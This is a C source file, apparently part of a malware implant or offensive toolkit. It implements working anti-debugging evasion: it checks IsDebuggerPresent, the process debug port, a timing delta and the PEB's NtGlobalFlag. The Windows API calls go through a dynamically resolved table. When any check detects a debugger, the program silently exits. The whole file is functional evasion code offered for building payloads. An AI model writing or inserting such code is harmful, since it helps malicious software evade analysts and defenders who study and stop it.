Files
2026-08-27 11:03:10 -06:00

87 lines
2.4 KiB
C
Executable File

/**
* evasion_anti_debug.c — Anti-debugging checks
*
* Checks:
* 1. IsDebuggerPresent()
* 2. NtQueryInformationProcess (ProcessDebugPort)
* 3. Timing check (RDTSC delta)
* 4. NtGlobalFlag in PEB
*
* If a debugger is detected, calls ExitProcess(0) silently.
*/
#include <windows.h>
#include <winternl.h>
#include <stdint.h>
#include "api_resolve.h"
#ifdef EVASION_ANTI_DEBUG
static void exit_if_debugged(void) {
g_api.pExitProcess(0);
}
/* Basic API check */
static void check_is_debugger_present(void) {
if (g_api.pIsDebuggerPresent()) {
exit_if_debugged();
}
}
/* NtQueryInformationProcess — ProcessDebugPort (class 7) */
static void check_debug_port(void) {
if (!g_api.pNtQueryInformationProcess) return;
DWORD_PTR debug_port = 0;
NTSTATUS status = g_api.pNtQueryInformationProcess(
g_api.pGetCurrentProcess(), 7 /* ProcessDebugPort */,
&debug_port, sizeof(debug_port), NULL);
if (status == 0 && debug_port != 0) {
exit_if_debugged();
}
}
/* Timing check: debugger single-stepping causes large RDTSC deltas */
static void check_timing(void) {
LARGE_INTEGER freq, t1, t2;
if (!g_api.pQueryPerformanceFrequency(&freq)) return;
g_api.pQueryPerformanceCounter(&t1);
/* Do some trivial work */
volatile int x = 0;
for (int i = 0; i < 100; i++) x += i;
g_api.pQueryPerformanceCounter(&t2);
/* If more than 500ms elapsed for trivial work, likely being debugged */
double elapsed_ms = (double)(t2.QuadPart - t1.QuadPart) / freq.QuadPart * 1000.0;
if (elapsed_ms > 500.0) {
exit_if_debugged();
}
}
/* NtGlobalFlag in PEB — set when process is created under a debugger */
static void check_nt_global_flag(void) {
#ifdef _WIN64
/* PEB is at GS:[0x60], NtGlobalFlag at offset 0xBC */
PPEB peb = (PPEB)__readgsqword(0x60);
DWORD flags = *(DWORD *)((uint8_t *)peb + 0xBC);
#else
PPEB peb = (PPEB)__readfsdword(0x30);
DWORD flags = *(DWORD *)((uint8_t *)peb + 0x68);
#endif
/* FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK | FLG_HEAP_VALIDATE_PARAMETERS */
if (flags & 0x70) {
exit_if_debugged();
}
}
void evasion_anti_debug_init(void) {
check_is_debugger_present();
check_debug_port();
check_timing();
check_nt_global_flag();
}
#endif /* EVASION_ANTI_DEBUG */